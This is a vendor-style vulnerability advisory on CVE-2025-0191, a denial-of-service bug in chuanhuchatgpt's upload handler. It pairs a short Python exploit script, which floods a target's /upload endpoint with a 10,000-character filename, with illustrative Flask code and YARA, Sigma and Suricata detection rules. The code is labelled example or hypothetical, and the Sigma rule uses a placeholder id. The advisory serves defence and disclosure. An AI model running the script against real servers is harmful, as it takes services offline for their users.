CVE-2025-0191

Executive Summary

CVE-2025-0191 is a Denial of Service (DoS) vulnerability in the file upload feature of gaizhenbiao/chuanhuchatgpt version 20240914. The vulnerability arises from improper handling of form-data with an excessively large filename in the file upload request. By sending a payload with an oversized filename, the server becomes overwhelmed and unresponsive, leading to unavailability for legitimate users. The CVSS score is 6.5 (Medium), with a vector of CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H. The EPSS score is 0.0%, indicating low exploitation probability in the wild. No patch is currently available, and the vendor has not released an update.

Supply Chain & Package Security

This vulnerability affects a Python-based application (chuanhuchatgpt) that may be distributed via PyPI or GitHub. If the application is installed via pip, the supply chain risk includes potential for malicious packages with similar names. Users should verify the integrity of the package and monitor for updates from the official repository.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required; the attack is straightforward.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – The victim does not need to perform any action.
• Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
• Confidentiality (C): None (N) – No data is exposed.
• Integrity (I): None (N) – No data is altered.
• Availability (A): High (H) – The service becomes unavailable.

Threat Level: Medium. The vulnerability is easy to exploit but has a low EPSS score, suggesting limited active exploitation.

Deep Dive & Mechanics

The vulnerability is in the file upload endpoint of chuanhuchatgpt. When a user submits a multipart/form-data request with a file, the server processes the filename from the Content-Disposition header. If the filename is excessively large (e.g., thousands of characters), the server may allocate excessive memory or CPU resources to parse and store the filename, leading to resource exhaustion. This can cause the server to become unresponsive, resulting in a Denial of Service.

The root cause is the lack of input validation and resource limits on the filename field. The application does not enforce a maximum filename length, allowing an attacker to send a payload that overwhelms the server.

Vulnerable vs. Patched Code

Vulnerable Code (chuanhuchatgpt 20240914):

# Example of vulnerable file upload handler
from flask import request

@app.route('/upload', methods=['POST'])
def upload_file():
    file = request.files['file']
    filename = file.filename  # No length check
    # Process file...
    return 'OK'

Patched Code (Hypothetical fix):

from flask import request, abort

MAX_FILENAME_LENGTH = 255

@app.route('/upload', methods=['POST'])
def upload_file():
    file = request.files['file']
    filename = file.filename
    if len(filename) > MAX_FILENAME_LENGTH:
        abort(400, 'Filename too long')
    # Process file...
    return 'OK'

Exploitation & Lab Setup

Red Team

Objective: Cause a Denial of Service on the target server.

Lab Setup:

1. Deploy chuanhuchatgpt version 20240914 in a Docker container.
2. Use a tool like curl or a Python script to send a malicious request.

Exploit Script (Python):

import requests

url = "http://target:5000/upload"
# Generate a filename with 10000 characters
large_filename = "A" * 10000 + ".txt"
files = {'file': (large_filename, 'test content', 'text/plain')}
try:
    response = requests.post(url, files=files)
    print(f"Status: {response.status_code}")
except requests.exceptions.ConnectionError:
    print("Server is down")

Execution:

python exploit.py

Expected Outcome: The server becomes unresponsive, and subsequent legitimate requests fail.

Blue Team

Detection:

• Monitor for requests with abnormally long filenames in file upload endpoints.
• Use network monitoring to detect large Content-Disposition headers.

Mitigation:

• Implement input validation to limit filename length.
• Use rate limiting to prevent rapid repeated requests.
• Deploy a Web Application Firewall (WAF) to block oversized payloads.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /upload with Content-Disposition headers containing filenames longer than 255 characters.
• Logs: Server logs showing repeated 500 errors or timeouts on the upload endpoint.
• System: High CPU or memory usage on the server during the attack.

Detection Engineering

YARA Rule

rule CVE_2025_0191_DoS_Upload {
    meta:
        description = "Detects attempts to exploit CVE-2025-0191 via large filename in file upload"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-0191"
    strings:
        $filename_long = /filename="[^"]{256,}"/ nocase
    condition:
        $filename_long
}

Sigma Rule

title: CVE-2025-0191 DoS via Large Filename
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests with excessively long filenames in file uploads
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/upload'
        cs(User-Agent): '*'
        cs(Content-Type): 'multipart/form-data*'
        cs(Content-Disposition): '*filename=*'
        cs(Content-Disposition)|length: '> 256'
    condition: selection
falsepositives:
    - Legitimate large filenames (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-0191 DoS via Large Filename"; flow:to_server; content:"POST"; http_method; content:"/upload"; http_uri; content:"multipart/form-data"; http_client_body; pcre:"/filename=\"[^\"]{256,}\"/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Implement a maximum filename length (e.g., 255 characters) in the file upload handler.
2. Rate Limiting: Limit the number of upload requests per IP address per time period.
3. Resource Limits: Configure web server (e.g., Nginx, Apache) to limit request body size and header size.

Long-term Fix:

• Apply a patch from the vendor when available.
• Upgrade to a patched version of chuanhuchatgpt.

Workarounds:

• Use a reverse proxy or WAF to filter out requests with oversized filenames.
• Monitor logs for suspicious activity and block offending IPs.

Valters IT signature: This report is generated by Valters IT Cyber Threat Intelligence. For questions, contact intelligence@valters.it.